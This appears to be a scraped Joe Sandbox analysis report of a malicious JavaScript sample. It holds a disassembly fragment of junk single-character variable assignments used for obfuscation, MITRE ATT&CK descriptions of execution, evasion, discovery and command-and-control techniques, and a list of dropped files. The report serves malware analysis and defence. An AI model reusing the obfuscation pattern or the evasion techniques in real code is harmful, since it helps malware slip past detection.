1372	lbxoy = "U";
1373	lbxoy = "G";
1374	lbxoy = "S";
1375	lbxoy = "O";
1376	lbxoy = "i";
1377	lbxoy = "U";
1378	lbxoy = "Z";
1379	lbxoy = "s";
1380	lbxoy = "C";
1381	lbxoy = "H";
1382	lbxoy = "n";
1383	lbxoy = "T";
1384	lbxoy = "l";
1385	lbxoy = "t";
1386	lbxoy = "J";
1387	lbxoy = "I";
1388	lbxoy = "V";
1389	lbxoy = "W";
1390	lbxoy = "R";
1391	lbxoy = "P";
1392	lbxoy = "/";
1393	xbxkwa = "a";
1394	xbxkwa = "n";
1395	xbxkwa = "D";
1396	xbxkwa = "G";
1397	xbxkwa = "Q";
1398	xbxkwa = "t";
1399	xbxkwa = "N";
1400	xbxkwa = "Z";
1401	xbxkwa = "L";
1402	xbxkwa = "B";
1403	xbxkwa = "C";
1404	xbxkwa = "K";
1405	xbxkwa = "j";
1406	xbxkwa = "y";
1407	xbxkwa = "n";
1408	xbxkwa = "J";
1409	xbxkwa = "z";
1410	xbxkwa = "s";
1411	xbxkwa = "e";
1412	xbxkwa = "n";
1413	xbxkwa = "M";
1414	xbxkwa = "M";
1415	xbxkwa = "F";
1416	xbxkwa = "F";
1417	paukak = "P";
1418	paukak = "m";
1419	paukak = "U";
1420	paukak = "u";
1421	paukak = "m";
1422	paukak = "t";
1423	paukak = "a";
1424	paukak = "m";
1425	paukak = "i";
1426	paukak = "j";
1427	paukak = "w";
1428	paukak = "h";
1429	paukak = "I";
1430	paukak = "t";
1431	paukak = "v";
1432	mmqlgdun = "j";
1433	mmqlgdun = "h";
1434	mmqlgdun = "E";
1435	mmqlgdun = "L";
1436	mmqlgdun = "F";
1437	mmqlgdun = "Z";
1438	mmqlgdun = "C";
1439	mmqlgdun = "D";
1440	mmqlgdun = "E";
1441	mmqlgdun = "d";
1442	mmqlgdun = "D";
1443	mmqlgdun = "n";
1444	mmqlgdun = "K";
1445	mmqlgdun = "O";
1446	mmqlgdun = "Q";
1447	mmqlgdun = "a";
1448	mmqlgdun = "X";
1449	mmqlgdun = "c";
1450	mmqlgdun = "l";
1451	mmqlgdun = "v";
1452	mmqlgdun = "v";
1453	mmqlgdun = "V";
1454	mmqlgdun = "s";
1455	mmqlgdun = "G";
1456	mmqlgdun = "a";
1457	mmqlgdun = "3";
1458	brmrivj = "t";
1459	brmrivj = "E";
1460	brmrivj = "a";
1461	brmrivj = "i";
1462	brmrivj = "h";
1463	brmrivj = "B";
1464	brmrivj = "Y";
1465	brmrivj = "v";
1466	brmrivj = "a";
1467	brmrivj = "y";
1468	brmrivj = "U";
1469	brmrivj = "L";
1470	brmrivj = "t";
1471	brmrivj = "K";
1472	brmrivj = "S";
1473	brmrivj = "A";
1474	brmrivj = "l";
1475	brmrivj = "S";
1476	brmrivj = "t";
1477	brmrivj = "a";
1478	brmrivj = "j";
1479	brmrivj = "e";
1480	brmrivj = "J";
1481	brmrivj = "h";
1482	brmrivj = "k";
1483	brmrivj = "w";
1484	brmrivj = "H";
1485	brmrivj = "D";
1486	brmrivj = "\"";
1487	bsigqnh = "B";
1488	bsigqnh = "G";
1489	bsigqnh = "l";
1490	bsigqnh = "b";
1491	bsigqnh = "b";
1492	bsigqnh = "G";
1493	bsigqnh = "s";
1494	bsigqnh = "t";
1495	bsigqnh = "z";
1496	bsigqnh = "m";
1497	bsigqnh = "E";
1498	bsigqnh = "c";
1499	bsigqnh = "d";
1500	bsigqnh = "L";
1501	bsigqnh = "z";
1502	bsigqnh = "s";
1503	bsigqnh = "y";
1504	bsigqnh = "w";
1505	bsigqnh = "c";
1506	bsigqnh = "Y";
1507	bsigqnh = "k";
1508	bsigqnh = "X";
1509	bsigqnh = "I";
1510	bsigqnh = "W";
1511	bsigqnh = "P";
1512	bsigqnh = "P";
1513	bsigqnh = "u";
1514	juaralzv = "c";
1515	juaralzv = "p";
1516	juaralzv = "T";
1517	juaralzv = "c";
1518	juaralzv = "c";
1519	juaralzv = "R";
1520	juaralzv = "N";
1521	juaralzv = "c";
1522	juaralzv = "f";
1523	juaralzv = "E";
1524	juaralzv = "I";
1525	juaralzv = "e";
1526	juaralzv = "W";
1527	juaralzv = "w";
1528	juaralzv = "G";
1529	juaralzv = "a";
1530	juaralzv = "L";
1531	juaralzv = "z";
1532	juaralzv = "W";
1533	juaralzv = "Z";
1534	juaralzv = "R";
1535	juaralzv = "J";
1536	juaralzv = "N";
1537	juaralzv = "f";
1538	juaralzv = "R";
1539	juaralzv = "y";
1540	juaralzv = "l";
1541	juaralzv = "E";
1542	juaralzv = "N";
1543	juaralzv = "F";
1544	juaralzv = "\\";
1545	jxdegmta = "w";
1546	jxdegmta = "d";
1547	jxdegmta = "p";
1548	jxdegmta = "C";
1549	jxdegmta = "j";
1550	jxdegmta = "I";
1551	jxdegmta = "b";
1552	jxdegmta = "B";
1553	jxdegmta = "c";
1554	jxdegmta = "x";
1555	jxdegmta = "l";
1556	jxdegmta = "n";
1557	jxdegmta = "V";
1558	jxdegmta = "z";
1559	jxdegmta = "E";
1560	jxdegmta = "f";
1561	jxdegmta = "W";
1562	jxdegmta = "Z";
1563	jxdegmta = "B";
1564	jxdegmta = "f";
1565	jxdegmta = "Q";
1566	jxdegmta = "j";
1567	jxdegmta = "M";
1568	jxdegmta = "o";
1569	jxdegmta = "y";
1570	jxdegmta = "b";
1571	jxdegmta = "L";
1572	jxdegmta = "r";
1573	jxdegmta = "m";
1574	jxdegmta = "A";
1575	jxdegmta = "U";
1576	jxdegmta = "K";
1577	jxdegmta = "m";
1578	jxdegmta = "m";
1579	jxdegmta = "R";
1580	jxdegmta = "a";
1581	bvcejphfu ( );	bvcejphfu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2453210565523714481.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8ffc8d59-3a8c-4fe2-a061-f1381d3af1f9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6996

Windows Analysis Report
2453210565523714481.js